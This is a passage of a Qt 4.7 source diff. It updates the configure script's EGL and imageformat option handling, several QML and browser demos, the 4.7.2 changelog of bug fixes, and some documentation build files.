CFG_OPENVG="$VAL"
- CFG_EGL="auto"
+ if [ "$CFG_EGL" = "no" ] && [ "$VAL" != "no" ]; then
+ CFG_EGL=auto
+ fi
else
UNKNOWN_OPT=yes
fi
@@ -1467,16 +1447,9 @@ while [ "$#" -gt 0 ]; do
CFG_BUILD_PARTS="$CFG_BUILD_PARTS $VAL"
;;
x11)
- if [ "$PLATFORM_MAC" = "yes" ]; then
- PLATFORM_MAC=no
- elif [ "$PLATFORM_QWS" = "yes" ]; then
- PLATFORM_QWS=no
- elif [ "$PLATFORM_QPA" = "yes" ]; then
- PLATFORM_QPA=no
- fi
- if [ "$CFG_FRAMEWORK" = "auto" ]; then
- CFG_FRAMEWORK=no
- fi
+ PLATFORM_QPA=no
+ PLATFORM_MAC=no
+ PLATFORM_QWS=no
PLATFORM_X11=yes
;;
sdk)
@@ -2182,7 +2155,7 @@ while [ "$#" -gt 0 ]; do
UNKNOWN_OPT=yes
fi
;;
- sql-*|gfx-*|decoration-*|kbd-*|mouse-*)
+ sql-*|gfx-*|decoration-*|kbd-*|mouse-*|imageformat-*)
# if Qt style options were used, $VAL can be "no", "qt", or "plugin"
# if autoconf style options were used, $VAL can be "yes" or "no"
[ "$VAL" = "yes" ] && VAL=qt
@@ -2224,6 +2197,13 @@ while [ "$#" -gt 0 ]; do
avail="$CFG_MOUSE_PLUGIN_AVAILABLE"
fi
;;
+ imageformat)
+ avail="$CFG_IMAGEFORMAT_PLUGIN_AVAILABLE"
+ if [ "$OPT" != "plugin" ]; then
+ # png is always built in
+ avail="$avail png"
+ fi
+ ;;
*)
avail=""
echo "BUG: Unhandled type $VAR used in $CURRENT_OPT"
@@ -2244,6 +2224,11 @@ while [ "$#" -gt 0 ]; do
# set the CFG_SQL_driver
eval "CFG_SQL_$VAL=\$OPT"
continue
+ elif [ "$VAR" = "imageformat" ]; then
+ [ "$OPT" = "qt" ] && OPT=yes
+ VAL="`echo $VAL |tr a-z A-Z`"
+ eval "CFG_$VAL=$OPT"
+ continue
fi
if [ "$OPT" = "plugin" ] || [ "$OPT" = "qt" ]; then
@@ -3709,7 +3694,7 @@ Usage: $relconf [-h] [-prefix <dir>] [-prefix-install] [-bindir <dir>] [-libdir
[-no-gtkstyle] [-gtkstyle] [-no-svg] [-svg] [-no-webkit] [-webkit] [-webkit-debug]
[-no-javascript-jit] [-javascript-jit]
[-no-script] [-script] [-no-scripttools] [-scripttools]
- [-no-declarative] [-declarative][-no-declarative-debug] [-declarative-debug]
+ [-no-declarative] [-declarative] [-no-declarative-debug] [-declarative-debug]
[additional platform specific options (see below)]
@@ -4709,9 +4694,9 @@ if [ -n "$PERL" ] && [ -x "$relpath/bin/syncqt" ]; then
SYNCQT_OPTS=
[ "$CFG_DEV" = "yes" ] && SYNCQT_OPTS="$SYNCQT_OPTS -check-includes"
if [ "$OPT_SHADOW" = "yes" ]; then
- "$outpath/bin/syncqt" $SYNCQT_OPTS
+ "$outpath/bin/syncqt" $SYNCQT_OPTS || exit 1
elif [ "$CFG_DEV" = "yes" ] || [ ! -d $relpath/include ] || [ -d $relpath/.git ]; then
- QTDIR="$relpath" perl "$outpath/bin/syncqt" $SYNCQT_OPTS
+ QTDIR="$relpath" perl "$outpath/bin/syncqt" $SYNCQT_OPTS || exit 1
fi
fi
@@ -6337,19 +6322,28 @@ if [ "$PLATFORM_QWS" = "yes" -o "$PLATFORM_QPA" = "yes" ]; then
fi # QWS
+EGL_VARIANT=none
# EGL Support
if [ "$PLATFORM_X11" = "yes" -o "$PLATFORM_QWS" = "yes" ]; then
if [ "$CFG_EGL" != "no" ]; then
# detect EGL support
if "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" "config.tests/unix/egl" "EGL (EGL/egl.h)" $L_FLAGS $I_FLAGS $l_FLAGS; then
# EGL specified by QMAKE_*_EGL, included with <EGL/egl.h>
+ EGL_VARIANT=regular
CFG_EGL=yes
- CFG_EGL_GLES_INCLUDES=no
- elif "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" "config.tests/unix/egl4gles1" "EGL (GLES/egl.h)" $L_FLAGS $I_FLAGS $l_FLAGS; then
- # EGL specified by QMAKE_*_EGL, included with <GLES/egl.h>
- CFG_EGL=yes
- CFG_EGL_GLES_INCLUDES=yes
- else
+ fi
+
+ # Prefer this variant for ES1
+ if [ "$CFG_OPENGL" = "es1" -o "$EGL_VARIANT" = "none" ]; then
+ if "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" "config.tests/unix/egl4gles1" "EGL (GLES/egl.h)" $L_FLAGS $I_FLAGS $l_FLAGS; then
+ # EGL specified by QMAKE_*_EGL, included with <GLES/egl.h>
+ EGL_VARIANT=gles
+ CFG_EGL=yes
+ CFG_EGL_GLES_INCLUDES=yes
+ fi
+ fi
+
+ if [ "$EGL_VARIANT" = "none" ]; then
if [ "$CFG_EGL" = "yes" ]; then
echo "The EGL functionality test failed!"
echo " EGL is required for OpenGL ES to manage contexts & surfaces."
@@ -8549,7 +8543,9 @@ if [ "$CFG_WEBKIT" != "no" ]; then
fi
fi
echo "Declarative module ..... $CFG_DECLARATIVE"
-echo "Declarative debugging ...$CFG_DECLARATIVE_DEBUG"
+if [ "$CFG_DECLARATIVE" = "yes" ]; then
+ echo "Declarative debugging ...$CFG_DECLARATIVE_DEBUG"
+fi
echo "Support for S60 ........ $CFG_S60"
echo "Symbian DEF files ...... $CFG_SYMBIAN_DEFFILES"
echo "STL support ............ $CFG_STL"
@@ -8632,7 +8628,7 @@ else
echo "OpenGL support ......... no"
fi
if [ "$CFG_EGL" != "no" ]; then
- if [ "$CFG_EGL_GLES_INCLUDES" != "no" ]; then
+ if [ "$CFG_EGL_GLES_INCLUDES" = "yes" ]; then
echo "EGL support ............ yes <GLES/egl.h>"
else
echo "EGL support ............ yes <EGL/egl.h>"
diff --git a/demos/browser/networkaccessmanager.cpp b/demos/browser/networkaccessmanager.cpp
index 9e717bb..c63c0eb 100644
--- a/demos/browser/networkaccessmanager.cpp
+++ b/demos/browser/networkaccessmanager.cpp
@@ -64,7 +64,7 @@
NetworkAccessManager::NetworkAccessManager(QObject *parent)
: QNetworkAccessManager(parent),
requestFinishedCount(0), requestFinishedFromCacheCount(0), requestFinishedPipelinedCount(0),
- requestFinishedSecureCount(0)
+ requestFinishedSecureCount(0), requestFinishedDownloadBufferCount(0)
{
connect(this, SIGNAL(authenticationRequired(QNetworkReply*,QAuthenticator*)),
SLOT(authenticationRequired(QNetworkReply*,QAuthenticator*)));
@@ -106,14 +106,19 @@ void NetworkAccessManager::requestFinished(QNetworkReply *reply)
if (reply->attribute(QNetworkRequest::ConnectionEncryptedAttribute).toBool() == true)
requestFinishedSecureCount++;
+ if (reply->attribute(QNetworkRequest::DownloadBufferAttribute).isValid() == true)
+ requestFinishedDownloadBufferCount++;
+
if (requestFinishedCount % 10)
return;
double pctCached = (double(requestFinishedFromCacheCount) * 100.0/ double(requestFinishedCount));
double pctPipelined = (double(requestFinishedPipelinedCount) * 100.0/ double(requestFinishedCount));
double pctSecure = (double(requestFinishedSecureCount) * 100.0/ double(requestFinishedCount));
+ double pctDownloadBuffer = (double(requestFinishedDownloadBufferCount) * 100.0/ double(requestFinishedCount));
+
#ifdef QT_DEBUG
- qDebug("STATS [%lli requests total] [%3.2f%% from cache] [%3.2f%% pipelined] [%3.2f%% SSL/TLS]", requestFinishedCount, pctCached, pctPipelined, pctSecure);
+ qDebug("STATS [%lli requests total] [%3.2f%% from cache] [%3.2f%% pipelined] [%3.2f%% SSL/TLS] [%3.2f%% Zerocopy]", requestFinishedCount, pctCached, pctPipelined, pctSecure, pctDownloadBuffer);
#endif
}
diff --git a/demos/browser/networkaccessmanager.h b/demos/browser/networkaccessmanager.h
index 76fc198..d6e6ede 100644
--- a/demos/browser/networkaccessmanager.h
+++ b/demos/browser/networkaccessmanager.h
@@ -60,6 +60,7 @@ private:
qint64 requestFinishedFromCacheCount;
qint64 requestFinishedPipelinedCount;
qint64 requestFinishedSecureCount;
+ qint64 requestFinishedDownloadBufferCount;
public slots:
void loadSettings();
diff --git a/demos/declarative/calculator/calculator.qml b/demos/declarative/calculator/calculator.qml
index 13f228d..441bfb9 100644
--- a/demos/declarative/calculator/calculator.qml
+++ b/demos/declarative/calculator/calculator.qml
@@ -46,7 +46,7 @@ import "Core/calculator.js" as CalcEngine
Rectangle {
id: window
- width: 480; height: 360
+ width: 360; height: 480
color: "#282828"
property string rotateLeft: "\u2939"
@@ -63,7 +63,15 @@ Rectangle {
id: main
state: "orientation " + runtime.orientation
- width: parent.width; height: parent.height; anchors.centerIn: parent
+ property bool landscapeWindow: window.width > window.height
+ property real baseWidth: landscapeWindow ? window.height : window.width
+ property real baseHeight: landscapeWindow ? window.width : window.height
+ property real rotationDelta: landscapeWindow ? -90 : 0
+
+ rotation: rotationDelta
+ width: main.baseWidth
+ height: main.baseHeight
+ anchors.centerIn: parent
Column {
id: box; spacing: 8
@@ -132,24 +140,20 @@ Rectangle {
states: [
State {
name: "orientation " + Orientation.Landscape
- PropertyChanges { target: main; rotation: 90; width: window.height; height: window.width }
- PropertyChanges { target: rotateButton; operation: rotateLeft }
+ PropertyChanges { target: main; rotation: 90 + rotationDelta; width: main.baseHeight; height: main.baseWidth }
},
State {
name: "orientation " + Orientation.PortraitInverted
- PropertyChanges { target: main; rotation: 180; }
- PropertyChanges { target: rotateButton; operation: rotateRight }
+ PropertyChanges { target: main; rotation: 180 + rotationDelta; }
},
State {
name: "orientation " + Orientation.LandscapeInverted
- PropertyChanges { target: main; rotation: 270; width: window.height; height: window.width }
- PropertyChanges { target: rotateButton; operation: rotateLeft }
+ PropertyChanges { target: main; rotation: 270 + rotationDelta; width: main.baseHeight; height: main.baseWidth }
}
]
transitions: Transition {
SequentialAnimation {
- PropertyAction { target: rotateButton; property: "operation" }
RotationAnimation { direction: RotationAnimation.Shortest; duration: 300; easing.type: Easing.InOutQuint }
NumberAnimation { properties: "x,y,width,height"; duration: 300; easing.type: Easing.InOutQuint }
}
diff --git a/demos/declarative/flickr/flickr.qml b/demos/declarative/flickr/flickr.qml
index 11470a8..e0af466 100644
--- a/demos/declarative/flickr/flickr.qml
+++ b/demos/declarative/flickr/flickr.qml
@@ -62,7 +62,7 @@ Item {
GridView {
id: photoGridView; model: rssModel; delegate: Mobile.GridDelegate {}
- cacheBuffer: 100
+ cacheBuffer: 1000
cellWidth: (parent.width-2)/4; cellHeight: cellWidth; width: parent.width; height: parent.height
}
diff --git a/demos/declarative/minehunt/minehunt.qml b/demos/declarative/minehunt/minehunt.qml
index 1a69c95..026689b 100644
--- a/demos/declarative/minehunt/minehunt.qml
+++ b/demos/declarative/minehunt/minehunt.qml
@@ -104,7 +104,7 @@ Item {
anchors.centerIn: parent; width: parent.width - 20
horizontalAlignment: Text.AlignHCenter
wrapMode: Text.WordWrap
- text: "Minehunt will not run properly if the C++ plugin is not compiled.\n\nPlease see README."
+ text: "Minehunt demo has to be compiled to run.\n\nPlease see README."
color: "white"; font.bold: true; font.pixelSize: 14
visible: tiles == undefined
}
diff --git a/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml b/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml
index 73b8fa7..dcb1112 100644
--- a/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml
+++ b/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml
@@ -39,7 +39,7 @@
**
****************************************************************************/
-import QtQuick 1.0
+import QtQuick 1.1
import "script/script.js" as Script
Package {
@@ -61,7 +61,7 @@ Package {
BorderImage {
anchors {
- fill: border.visible ? border : placeHolder
+ fill: originalImage.status == Image.Ready ? border : placeHolder
leftMargin: -6; topMargin: -6; rightMargin: -8; bottomMargin: -8
}
source: 'images/box-shadow.png'; smooth: true
@@ -88,11 +88,11 @@ Package {
}
BusyIndicator { anchors.centerIn: parent; on: originalImage.status != Image.Ready }
Image {
- id: originalImage; smooth: true; source: "http://" + Script.getImagePath(content)
+ id: originalImage; smooth: true; source: "http://" + Script.getImagePath(content); cache: false
fillMode: Image.PreserveAspectFit; width: photoWrapper.width; height: photoWrapper.height
}
Image {
- id: hqImage; smooth: true; source: ""; visible: false
+ id: hqImage; smooth: true; source: ""; visible: false; cache: false
fillMode: Image.PreserveAspectFit; width: photoWrapper.width; height: photoWrapper.height
}
Binding {
diff --git a/demos/declarative/samegame/SamegameCore/BoomBlock.qml b/demos/declarative/samegame/SamegameCore/BoomBlock.qml
index da51230..009aeca 100644
--- a/demos/declarative/samegame/SamegameCore/BoomBlock.qml
+++ b/demos/declarative/samegame/SamegameCore/BoomBlock.qml
@@ -39,7 +39,7 @@
**
****************************************************************************/
-import QtQuick 1.0
+import QtQuick 1.1
import Qt.labs.particles 1.0
Item {
diff --git a/demos/declarative/samegame/SamegameCore/Button.qml b/demos/declarative/samegame/SamegameCore/Button.qml
index aea4e53..b2b232c 100644
--- a/demos/declarative/samegame/SamegameCore/Button.qml
+++ b/demos/declarative/samegame/SamegameCore/Button.qml
@@ -39,7 +39,7 @@
**
****************************************************************************/
-import QtQuick 1.0
+import QtQuick 1.1
Rectangle {
id: container
diff --git a/demos/declarative/samegame/SamegameCore/Dialog.qml b/demos/declarative/samegame/SamegameCore/Dialog.qml
index b11c65c..ecac475 100644
--- a/demos/declarative/samegame/SamegameCore/Dialog.qml
+++ b/demos/declarative/samegame/SamegameCore/Dialog.qml
@@ -39,7 +39,7 @@
**
****************************************************************************/
-import QtQuick 1.0
+import QtQuick 1.1
Rectangle {
id: page
diff --git a/demos/declarative/samegame/SamegameCore/samegame.js b/demos/declarative/samegame/SamegameCore/samegame.js
index e618a10..bb587bc 100755
--- a/demos/declarative/samegame/SamegameCore/samegame.js
+++ b/demos/declarative/samegame/SamegameCore/samegame.js
@@ -180,21 +180,22 @@ function createBlock(column,row)
// only work if the block QML is a local file. Otherwise the component will
// not be ready immediately. There is a statusChanged signal on the
// component you could use if you want to wait to load remote files.
- if (component.status == Component.Ready) {
- var dynamicObject = component.createObject(gameCanvas);
- if (dynamicObject == null) {
+ if(component.status == Component.Ready){
+ var dynamicObject = component.createObject(gameCanvas,
+ {"type": Math.floor(Math.random() * 3),
+ "x": column*gameCanvas.blockSize,
+ "width": gameCanvas.blockSize,
+ "height": gameCanvas.blockSize});
+ if(dynamicObject == null){
console.log("error creating block");
console.log(component.errorString());
return false;
}
- dynamicObject.type = Math.floor(Math.random() * 3);
- dynamicObject.x = column * gameCanvas.blockSize;
- dynamicObject.y = row * gameCanvas.blockSize;
- dynamicObject.width = gameCanvas.blockSize;
- dynamicObject.height = gameCanvas.blockSize;
+ dynamicObject.y = row*gameCanvas.blockSize;
dynamicObject.spawned = true;
- board[index(column, row)] = dynamicObject;
- } else {
+
+ board[index(column,row)] = dynamicObject;
+ }else{
console.log("error loading block component");
console.log(component.errorString());
return false;
diff --git a/demos/declarative/samegame/samegame.qml b/demos/declarative/samegame/samegame.qml
index ebb8e4a..ab64156 100644
--- a/demos/declarative/samegame/samegame.qml
+++ b/demos/declarative/samegame/samegame.qml
@@ -39,7 +39,7 @@
**
****************************************************************************/
-import QtQuick 1.0
+import QtQuick 1.1
import "SamegameCore"
import "SamegameCore/samegame.js" as Logic
diff --git a/demos/declarative/snake/snake.qml b/demos/declarative/snake/snake.qml
index 7565058..d81ce9e 100644
--- a/demos/declarative/snake/snake.qml
+++ b/demos/declarative/snake/snake.qml
@@ -105,7 +105,7 @@ Rectangle {
source: "content/pics/pause.png"
anchors.centerIn: parent;
//opacity is deliberately not animated
- opacity: activeGame && !runtime.isActiveWindow
+ opacity: activeGame && !Qt.application.active
}
Image {
diff --git a/demos/declarative/webbrowser/content/FlickableWebView.qml b/demos/declarative/webbrowser/content/FlickableWebView.qml
index 737d11f..947b843 100644
--- a/demos/declarative/webbrowser/content/FlickableWebView.qml
+++ b/demos/declarative/webbrowser/content/FlickableWebView.qml
@@ -128,7 +128,7 @@ Flickable {
if (!heuristicZoom(clickX,clickY,2.5)) {
var zf = flickable.width / contentsSize.width
if (zf >= contentsScale)
- zf = 2.0/zoomFactor // zoom in (else zooming out)
+ zf = 2.0*contentsScale // zoom in (else zooming out)
doZoom(zf,clickX*zf,clickY*zf)
}
}
diff --git a/demos/qmediaplayer/qmediaplayer.pro b/demos/qmediaplayer/qmediaplayer.pro
index f8f81ad..a7a6181 100644
--- a/demos/qmediaplayer/qmediaplayer.pro
+++ b/demos/qmediaplayer/qmediaplayer.pro
@@ -33,7 +33,7 @@ symbian {
include($$QT_SOURCE_TREE/demos/symbianpkgrules.pri)
- LIBS += -lCommDb
+ LIBS += -lcommdb
TARGET.CAPABILITY="NetworkServices"
}
diff --git a/dist/changes-4.7.2 b/dist/changes-4.7.2
index d443d88..c7e0089 100644
--- a/dist/changes-4.7.2
+++ b/dist/changes-4.7.2
@@ -16,154 +16,263 @@ Qt Bug Tracker: http://bugreports.qt.nokia.com
Merge Request: http://qt.gitorious.org
****************************************************************************
-* General *
-****************************************************************************
-
-New features
-------------
-
- - SomeClass, SomeOtherClass
- * New classes for foo, bar and baz
-
-Optimizations
--------------
-
- - Optimized foo in QSomeClass
- * See list of Important Behavior Changes below
-
-
-****************************************************************************
* Library *
****************************************************************************
QtCore
------
- - foo
- * bar
+ - QMutex
+ * [QTBUG-16115] Fixed deadlock when calling tryLock repeatedly.
+ - QStateMachine
+ * [QTBUG-14491] Fixed compilation on AIX 5.3 with gcc.
+ - QThread
+ * [QTBUG-15378] QThread::exec returaed immediately if QThread::exit had
+ been called when event loop was not running.
QtGui
-----
+ - Painting
+ * [QTBUG-14907] Fix OpenVG painting artifacts after restoreState().
+ * [QTBUG-15320] QPainter::drawRect crashed when drawing a null QRectF
+ with OpenGL.
+ * [QTBUG-15693] Prevent crash in drawhelper code when the cpu has MMXEXT
+ but no SSE.
+ - QDoubleValidator
+ * [QTBUG-14935] With some locales, QDoubleValidator would not accept "C"
+ locale valid numbers.
+ - QFileDialog
+ * [QTBUG-17298] QFileDialog::getOpenFileNames didn't show any file.
+ - QGraphicsView
+ * [QTBUG-16063] Fix precision loss when querying micro focus rectangle
+ in QGraphicsView.
+ - QPainterPath
+ * [QTBUG-16377] Prevent QPainterPath::connectPath() returning incorrect
+ path, which caused OpenGL paint engine to crash.
+ - QTableWidget
+ * [QTBUG-15973] Resizinag a QTableWidget column where a cell contains a
+ QProgressBar made it crash.
+ - QTextDocument
+ * [QTBUG-15777] Fxied crash in QTextDocument::markContentsDirty.
+ - QTextLayout
+ * [QTBUG-15823] Fixed crash in QTextLayout when drawing full width
+ selection spanning multiple QTextLine's.
- QWidget
* [QTMOBILITY-645] Send WinIdChange event when winId is set to zero.
- The window handle of a native widget may be set to zero in two
- situations: (i) temporarily, during reparenting and (ii) during
- widget destruction. Previously, no WinIdChange event was sent in
- either of these cases; now, it is sent in both cases.
-
-QtDBus
-------
-
- - foo
- * bar
+ The window handle of a native widget may be set to zero in two
+ situations: (i) temporarily, during reparenting and (ii) during
+ widget destruction. Previously, no WinIdChange event was sent in
+ either of these cases; now, it is sent in both cases.
QtNetwork
---------
- - foo
- * bar
+ - Bearer Management
+ * [QTBUG-15276] Fixed possible crash when parsing new connection.
+ - QUrl
+ * [QTBUG-16425] QUrl::setUrl() did not call detach().
-QtOpenGL
---------
+QtQuick
+-------
- - foo
- * bar
+ - [QTBUG-14374] Fixed broken alignment of rich text.
+ - [QTBUG-14727] QML Text element did not play nice with transformations.
+ - [QTBUG-14761] Fixed memory leak in QDeclarativeComponent.
+ - [QTBUG-14830] Fixed crash when adjusting width inside onWidthChanged.
+ - [QTBUG-15710] Ensure header is considered when positioning content with
+ snapping.
+ - [QTBUG-16365] When using a PathView with a VisualDataModel which in turn
+ used a Tree model (DirModel, for example), nothing was shown.
+ - [QTBUG-16769] QML BorderImage failed if .sci file contained a URL.
QtScript
--------
- - foo
- * bar
+ - General
+ * [QTBUG-17166] Fix ScopeChainNode memory leak in JavaScriptCore.
+ - QScriptContext
+ * [QTBUG-17137] Fix crash when generating backtrace involving a
+ built-in (ECMA) function.
+ - QScriptEngine
+ * [QTBUG-16987] Ensure QScriptProgram objects are invalidated
+ when engine is destroyed.
+ * [QTBUG-16828] Fix alignment issue causing crashes on platforms
+ with only 4-byte-aligned malloc'ed memory (e.g. Symbian debug
+ builds).
+ * [QTBUG-15144] Fix GC-related crash in QScriptValue::setData().
+ * [QTBUG-15079] Fix crash when QScriptClass property getter
+ returns an invalid value.
+ * [QTBUG-13440] Fix bug that caused Math.random() not to
+ produce random values.
+ - QScriptValue
+ * [QTBUG-14801] Fix crash in QScriptValue::construct() when
+ the function throws a non-Object value.
QtSql
-----
- - foo
- * bar
-
-QtXml
------
-
- - foo
- * bar
-
-Qt Plugins
-----------
-
- - foo
- * bar
-
-Third party components
-----------------------
-
- - Updated foo to version 2.3.9.
-
- - Updated bar to the latest version from baz.org.
+ - [QTBUG-14132] Fix errors in Oracle (xe) stored procedures with bind
+ variables.
+ - [QTBUG-14831] Fix regression in dynamic sorting of a QSortFilterProxyModel
+ on a QSqlTableModel with OnManualSubmit.
+ - [QTBUG-17076] Fix plugins/sqldrivers/oci compile error when using
+ QT_NAMESPACE.
****************************************************************************
* Platform Specific Changes *
****************************************************************************
-Qt for Unix (X11 and Mac OS X)
-------------------------------
-
- -
-
Qt for Linux/X11
----------------
- -
+ - [QTBUG-15008] Fix broken prefix setting in configure when EPOCROOT shell
+ variable is set.
Qt for Windows
--------------
- -
+ - QtQuick
+ * [QTBUG-16885] QDeclarativeEngine::addImportPath() did not work if the
+ drive letter is in lowercase.
+ * [QTBUG-17360] Make sure $QTDIR/plugins/qmldebugging/tcpserver.dll is
+ found in windows release builds.
Qt for Mac OS X
---------------
- -
+ - [QTBUG-13772] Returning form fullscreen mode causes assertion failure.
+ - [QTBUG-14023] Added missing plugins to debug-libs package.
+ - [QTBUG-14420] Switching from an application with undocked widgets hid the
+ application.
+ - [QTBUG-15638] Fixed incorrect QComboBox drop-down menu Z-ordering.
+ - [QTBUG-15666] Fixed crash when closing QFontDialog::getFont() dialog before
+ its event loop finished.
+ - [QTBUG-16279] Fixed deadlock in QSyntaxHighlighter::highlightBlock.
Qt for Symbian
--------------
+ - Multimedia
+ * [QTBUG-17040] Prevent menu and native title pane area popping up when
+ setting fullscreen mode off during video playback.
+ - Packaging changes
+ * [QTBUG-17399] Remove sqlite3 from Qt SIS for S60 3.2 and 5.0 to allow
+ Nokia Content Signing, which doesn't permit sis files to have other
+ sis files embedded inside.
+ - Paging changes
+ * [QT-3503] Remove PAGED keyword from all Qt-based binaries for
+ MMP-based build systems (abld, SBSv2 (a.k.a. Raptor)).
+ This changes the code paging field in the Symbian (E32Image) header
+ from "paged" to "default". Thus it is left to the configuration
+ of the particular device whether paging is used for the binary or
+ not. All devices that support code paging should have it turned
+ on (the value is stored in the HAL, so can be checked using eg.
+ fshell); data paging may or may not be turned on depending on the
+ device characteristics. Leaving both code and data paging as
+ "default" means that any limitations in the device (eg. around
+ flash wear) can be controlled by that device by disabling the
+ appropriate types of paging rather than being forced by the binary
+ (which may be deployed to several different devices with different
+ characteristics).
- Phonon MMF backend
* [QTBUG-11436] Added a MediaObject property which allows the client to
specify which Internet Access Point should be used for streaming.
-
-Qt for Embedded Linux
----------------------
-
- -
-
-DirectFB
---------
-
- -
-
-Qt for Windows CE
------------------
-
- -
+ - QApplication
+ * [QTBUG-15915] Fix crash when creating more than one QApplication in single
+ test case.
+ * [QTBUG-16065] QApplication object with QApplication::GuiServer type caused
+ crash on Symbian devices.
+ - QDesktopWidget
+ * [QTBUG-16095] Resize event for QDesktopWidget was sent too early.
+ - QDialog
+ * [QTBUG-16277] Fix fullscreen/Maximized dialog misplacement in Symbian.
+ * [QTBUG-16110] QMessageBox softkeys were dimmed when application returned
+ to foreground.
+ - QEventDispatcherSymbian
+ * [QTBUG-16380] Fix leaking of RTimer handles.
+ - QFileDialog
+ * [QTBUG-16204] Fix using QFileDialog statics in Symbian.
+ - QFontDatabase
+ * [QTBUG-16514] Avoid collision of application fonts.
+ - QGraphicsView
+ * [QTBUG-16932] Fix rendering errors on QGraphicsView with OpenVG engine.
+ - QLineEdit
+ * [QTBUG-16238] Fix one character displacement for cursor in line edits.
+ - qmake & mkspecs
+ * [QT-4193] Only add ICON for application projects in symbianpkgrules.pri
+ * [QTBUG-13159] Allow pkg_prerules and pkg_postrules to be targeted to separate
+ files.
+ * [QTBUG-13367] Make default application deployment removable & added .flags
+ modifier support for DEPLOYMENT items in Symbian.
+ * [QTBUG-14280] Implement support for DEPLOYMENT.display_name in Symbian.
+ * [QTBUG-13917] Localize .loc and .pkg content based on TRANSLATIONS.
+ * [QTBUG-15159] Use include(original mkspec) instead of copying of mkspec to
+ default.
+ * [QTBUG-15393] Resolve EPOCROOT in qt.conf using same logic as in .pro.
+ * [QTBUG-15501] Fix symbian-mmp.conf include path.
+ * [QTBUG-15539] Use parent class function to generate Makefile headers.
+ * [QTBUG-14472] Add NetworkServices capability automatically for network apps.
+ * [QTBUG-14736] Add libinfix support for QML plugins in Symbian.
+ * [QT-4375] Fix incorrect file name case for OpenGL libraries in
+ symbian.conf.
+ * [QTBUG-16172] Use relative include instead of absolute in default
+ qmake.conf.
+ * [QTBUG-16221] Fix libinfixed usage in Symbian when def files are used.
+ * [QTBUG-16261] Fix infinite loop in qmake when reading malformed .ts files.
+ * [QTBUG-16298] Ignore static_and_shared in Symbian builds.
+ * [QTBUG-16477] Fix compile error when QT_NO_BEARERMANAGEMENT is defined.
+ * [QTBUG-13769] Generate freeze targets in Symbian.
+ * [QTBUG-16691] Remove toolcheck from generic clean targets for
+ symbian-sbsv2.
+ * [QT-4476] Fixed UTF-8 application names in device application menu.
+ * [QTBUG-16753] Improved QMAKE_POST_LINK support in symbian-sbsv2.
+ * [QTBUG-16881] Fix QMAKE_POST_LINK for targets with special characters.
+ * [QTBUG-16888] No longer replace dash and dot in TARGET with underscore.
+ * [QTBUG-17187] Ensure that package generated against Symbian^3 SDK has no
+ Symbian^1 platforms as dependencies.
+ * Fix partial upgrade package UID for libinfixed Qt.
+ * Cleaned up sis_targets.prf.
+ - QNetworkProxyFactory
+ * [QTBUG-13857] Added systemProxyForQuery() for Symbian, allowing
+ network proxies configured on the device to be used by applications.
+ - QPaintEngine
+ * [QTBUG-16008] Fixed broken constant alpha blending on ARMV6.
+ * [QTBUG-16240] Fix blurry text in word-wrapped, center-aligned text items
+ with OpenVG.
+ - QSystemSemaphore
+ * [QTBUG-16615] Fix QSystemSemaphore handle management issues in Symbian.
+ - qtmain.lib
+ * [QTBUG-14735] Use qtmain.lib to provide entry point for all applications.
+ - QtQuick
+ * [QTBUG-15405] QML Plugins were not loaded when installed on different
+ drives.
+ - QtScript
+ * [QTBUG-14293] Enhanced JavaScript heap allocator.
+ * [QTBUG-15800] Creating QScriptEngine on the heap caused app crash.
+ * [QTBUG-15847] Add compiler optimizations.
+ * [QTBUG-16685] Fix crash in JavaScript stack allocator.
+ - QWidget
+ * [QTBUG-16578] In cases where the widget was created from the event loop
+ instead of main(), the middle three softkeys would not get the right
+ visibility and would leave a "hole" in the application where one could
+ see what was beneath it.
+ * [QT-4416, QTBUG-17288] On devices which lack support for transparency
+ in EGL surfaces, setting Qt::WA_TranslucentBackground on a widget
+ whose windowType() is Qt::Window causes that widget to be rendered
+ using the raster graphics system.
+ - Tool scripts
+ * [QTBUG-13886] Disallow patching capabilities of executables.
+ * [QTBUG-13891] Add Location as self signable capability in patch_capabilities.pl.
+ * [QTBUG-15561] Only patch package content that is necessary for self-signing.
+ * Fix epocroot handling in createpackage.pl script.
+ * Unify epocroot usage in createpackage and patch_capabilities scripts.
****************************************************************************
* Tools *
****************************************************************************
- - Designer
- * foo
-
- - qdoc3
- * bar
-
- - Linguist
- * baz
-
-****************************************************************************
-* Important Behavior Changes *
-****************************************************************************
-
- -
+ - qmake
+ * [QTBUG-14357] Make qmake to pass all UTF-8 characters unchanged through parser.
diff --git a/doc/doc.pri b/doc/doc.pri
index a5db3c7..3cdac61 100644
--- a/doc/doc.pri
+++ b/doc/doc.pri
@@ -19,8 +19,8 @@ $$unixstyle {
QDOC = cd $$QT_SOURCE_TREE/tools/qdoc3/test && set QT_BUILD_TREE=$$QT_BUILD_TREE&& set QT_SOURCE_TREE=$$QT_SOURCE_TREE&& $$QT_BUILD_TREE/bin/qdoc3.exe $$DOCS_GENERATION_DEFINES
QDOC = $$replace(QDOC, "/", "\\")
}
-ADP_DOCS_QDOCCONF_FILE = -online qt-build-docs.qdocconf
-QT_DOCUMENTATION = ($$QDOC -creator qt-api-only.qdocconf assistant.qdocconf designer.qdocconf \
+ADP_DOCS_QDOCCONF_FILE = qt-build-docs-online.qdocconf
+QT_DOCUMENTATION = ($$QDOC qt-api-only.qdocconf assistant.qdocconf designer.qdocconf \
linguist.qdocconf qmake.qdocconf qdeclarative.qdocconf) && \
(cd $$QT_BUILD_TREE && \
$$GENERATOR doc-build/html-qt/qt.qhp -o doc/qch/qt.qch && \
diff --git a/doc/src/declarative/advtutorial.qdoc b/doc/src/declarative/advtutorial.qdoc
index 6cd1f22..263c78b 100644
--- a/doc/src/declarative/advtutorial.qdoc
+++ b/doc/src/declarative/advtutorial.qdoc
@@ -41,7 +41,7 @@ included in the declarative \c demos directory, which looks like this:
\image declarative-samegame.png
We will cover concepts for producing a fully functioning application, including
-JavaScript integration, using QML \l States and \l {Behavior}{Behaviors} to
+JavaScript integration, using QML \l{State}{States} and \l{Behavior}{Behaviors} to
